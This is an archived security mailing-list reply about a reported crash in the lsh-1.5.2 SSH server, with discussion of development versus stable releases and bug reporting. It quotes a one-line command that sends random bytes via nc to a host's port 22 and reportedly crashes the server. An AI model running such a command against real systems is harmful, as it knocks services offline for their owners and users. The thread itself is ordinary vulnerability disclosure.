Re: new ssh exploit?

[Damian Gerow <damian () sentex net>]

Thus spake Bennett Todd (bet () rahul net) [18/09/03 11:49]:
> This command:
>
>     dd if=/dev/urandom bs=1024 count=1|nc <hostname> 22 >/dev/null
>
> takes down an lsh-1.5.2 reliably taking no more than 2-3 tries on
> average.

Did you try on a 1.4 release?  1.5 is development, I'd expect it to be a
little buggy.

(Not that I'm defending lsh, I've just taken my first look at it yesterday,
and I don't know much about it at all.  Just trying to be fair.)

> I tried emailing this to lsh-bugs, got some moronic thing from some
> idiot third-party anti-spam service "please send this special email
> to this special place and we might think about letting your message
> through". Right.

Did you sign up to the mailing list first?  At least they let
non-subscribers post to their list -- most lists are closed these days,
including this one.

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